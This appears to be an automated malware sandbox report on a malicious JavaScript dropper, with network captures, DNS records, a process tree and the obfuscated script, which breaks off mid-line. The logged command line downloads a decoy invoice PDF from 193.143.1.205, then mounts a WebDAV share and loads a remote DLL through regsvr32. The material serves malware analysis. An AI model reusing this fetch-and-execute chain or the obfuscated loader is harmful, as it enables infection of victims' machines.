Jan 10, 2025 20:03:02.103676081 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103712082 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103744984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103758097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103770018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103781939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103792906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.103813887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.103837013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.119587898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119601965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119628906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119641066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119652987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119664907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119678974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.119705915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.119705915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.119788885 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.119981050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120044947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120055914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120069027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120081902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120096922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120116949 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.120142937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.120146036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120156050 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.120166063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120179892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120191097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120203018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120214939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120227098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:02.120332956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.120333910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.120333910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:02.857081890 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:03.213988066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:03.988990068 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:03.993880033 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:03.994029999 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:03.994187117 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:03.999011993 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:04.813366890 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:04.852978945 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:04.932225943 CET	49708	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:03:12.637310028 CET	57796	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:03:12.637310028 CET	192.168.2.9	1.1.1.1	0x5f41	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:03:12.646814108 CET	1.1.1.1	192.168.2.9	0x5f41	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:04:14.915246964 CET	1.1.1.1	192.168.2.9	0x7a5f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:14.915246964 CET	1.1.1.1	192.168.2.9	0x7a5f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:29.561490059 CET	1.1.1.1	192.168.2.9	0x86f8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:29.561490059 CET	1.1.1.1	192.168.2.9	0x86f8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:04:53.656181097 CET	1.1.1.1	192.168.2.9	0xa2d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	193.143.1.205	80	5320	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:03:00.499361992 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:03:01.333966017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:03:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:03:01.334007978 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:03:01.334043980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:03:01.334078074 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 20:03:01.334108114 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:03:01.334141016 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 20:03:01.334184885 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 20:03:01.334237099 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 20:03:01.334271908 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:03:01.334306002 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:03:01.339241982 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	193.143.1.205	8888	2564	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:03:03.994187117 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:03:04.813366890 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:03:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:02:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js"
Imagebase:	0x7ff6bf530000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:02:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Imagebase:	0x7ff664cc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:02:56
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:02:56
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:03:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:03:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff664cc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:03:02
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff640f20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:03:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:03:03
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:03:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,6906610275621193779,5295784197698234964,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function izludzrzr() {	izludzrzr() ➔ undefined
1	buggsuf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var cgvfiycnb = this[redkwgkt + eqzxcj + tucergb + hofxfltq + lnphnzwmb + fltdvsip + zfnggvp + qwbgqgh] ( this[rrpvqun + bjllc + fwamu + tucergb + qysdra + redkwgkt + qwbgqgh][jixgva + tucergb + lnphnzwmb + eqzxcj + qwbgqgh + lnphnzwmb + cfmzknot + llibu + giixmhjh + lnphnzwmb + fwamu + qwbgqgh] ( rrpvqun + bjllc + fwamu + tucergb + qysdra + redkwgkt + qwbgqgh + gqthg + bjllc + kzunzjnn + lnphnzwmb + kjwwxx + kjwwxx ) [uzxwfvty + lnphnzwmb + resae + uzxwfvty + lnphnzwmb + eqzxcj + worlputm] ( owpvtlw + mqeepdrxl + elmppjm + gkewrj + uuunybn + jixgva + wasnbczbb + uzxwfvty + uzxwfvty + elmppjm + wtgakzwsq + lewujdp + uuunybn + wasnbczbb + bjllc + elmppjm + uzxwfvty + tpefgd + jixgva + xrqlwnwu + zfnggvp + qwbgqgh + tucergb + xrqlwnwu + kjwwxx + impwfp + eaotnynk + eqzxcj + zfnggvp + lnphnzwmb + kjwwxx + tpefgd + fltdvsip + zfnggvp + qwbgqgh + lnphnzwmb + tucergb + zfnggvp + eqzxcj + qwbgqgh + qysdra + xrqlwnwu + zfnggvp + eqzxcj + kjwwxx + tpefgd + tzmnzikn + xrqlwnwu + fwamu + eqzxcj + kjwwxx + lnphnzwmb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bffzsbp = 0 ; bffzsbp < buggsuf[kjwwxx + lnphnzwmb + zfnggvp + resae + qwbgqgh + kzunzjnn] ; ++ bffzsbp )
4	{
5	if ( cgvfiycnb == buggsuf[bffzsbp] )
6	{
7	cgvfiycnb = true;
8	break ;
9	}
10	}
11	if ( cgvfiycnb !== true )
12	this[rrpvqun + bjllc + fwamu + tucergb + qysdra + redkwgkt + qwbgqgh][dxurtqlu + uzbqie + qysdra + qwbgqgh] ( );
13	this[rrpvqun + bjllc + fwamu + tucergb + qysdra + redkwgkt + qwbgqgh][jixgva + tucergb + lnphnzwmb + eqzxcj + qwbgqgh + lnphnzwmb + cfmzknot + llibu + giixmhjh + lnphnzwmb + fwamu + qwbgqgh] ( rrpvqun + bjllc + fwamu + tucergb + qysdra + redkwgkt + qwbgqgh + gqthg + bjllc + kzunzjnn + lnphnzwmb + kjwwxx + kjwwxx ) [tucergb + uzbqie + zfnggvp] ( fwamu + utsnoh + worlputm + impwfp + jtwzuxys + fwamu + impwfp + redkwgkt + xrqlwnwu + aqyth + lnphnzwmb + tucergb + hofxfltq + kzunzjnn + lnphnzwmb + kjwwxx + kjwwxx + gqthg + lnphnzwmb + pravjjndn + lnphnzwmb + impwfp + pwdsdnk + jixgva + xrqlwnwu + utsnoh + utsnoh + eqzxcj + zfnggvp + worlputm + impwfp + nhvdrxub + fltdvsip + zfnggvp + cmvahf + xrqlwnwu + tywhtahw + lnphnzwmb + pwdsdnk + rrpvqun + lnphnzwmb + llibu + uzxwfvty + lnphnzwmb + owkxen + uzbqie + lnphnzwmb + hofxfltq + qwbgqgh + impwfp + pwdsdnk + cfmzknot + uzbqie + qwbgqgh + ljxhxszy + qysdra + kjwwxx + lnphnzwmb + impwfp + ppehwzyw + qwbgqgh + lnphnzwmb + utsnoh + redkwgkt + ppehwzyw + tpefgd + qysdra + zfnggvp + cmvahf + xrqlwnwu + qysdra + fwamu + lnphnzwmb + gqthg + redkwgkt + worlputm + jqsuqowr + impwfp + kzunzjnn + qwbgqgh + qwbgqgh + redkwgkt + folbtpnel + jtwzuxys + jtwzuxys + cxzjiy + mhjlu + jdawoxmss + gqthg + cxzjiy + xvtmzza + jdawoxmss + gqthg + cxzjiy + gqthg + woldvpi + jyezpoci + nrnvfbnr + jtwzuxys + qysdra + zfnggvp + cmvahf + xrqlwnwu + qysdra + fwamu + lnphnzwmb + gqthg + redkwgkt + kzunzjnn + redkwgkt + nhvdrxub + fzacjwbns + fzacjwbns + hofxfltq + qwbgqgh + eqzxcj + tucergb + qwbgqgh + impwfp + ppehwzyw + qwbgqgh + lnphnzwmb + utsnoh + redkwgkt + ppehwzyw + tpefgd + qysdra + zfnggvp + cmvahf + xrqlwnwu + qysdra + fwamu + lnphnzwmb + gqthg + redkwgkt + worlputm + jqsuqowr + fzacjwbns + fzacjwbns + fwamu + utsnoh + worlputm + impwfp + jtwzuxys + fwamu + impwfp + zfnggvp + lnphnzwmb + qwbgqgh + impwfp + uzbqie + hofxfltq + lnphnzwmb + impwfp + tpefgd + tpefgd + cxzjiy + mhjlu + jdawoxmss + gqthg + cxzjiy + xvtmzza + jdawoxmss + gqthg + cxzjiy + gqthg + woldvpi + jyezpoci + nrnvfbnr + uhdczi + pjmfczcb + pjmfczcb + pjmfczcb + pjmfczcb + tpefgd + worlputm + eqzxcj + cmvahf + aqyth + aqyth + aqyth + tucergb + xrqlwnwu + xrqlwnwu + qwbgqgh + tpefgd + fzacjwbns + fzacjwbns + fwamu + utsnoh + worlputm + impwfp + jtwzuxys + fwamu + impwfp + tucergb + lnphnzwmb + resae + hofxfltq + cmvahf + tucergb + jdawoxmss + woldvpi + impwfp + jtwzuxys + hofxfltq + impwfp + tpefgd + tpefgd + cxzjiy + 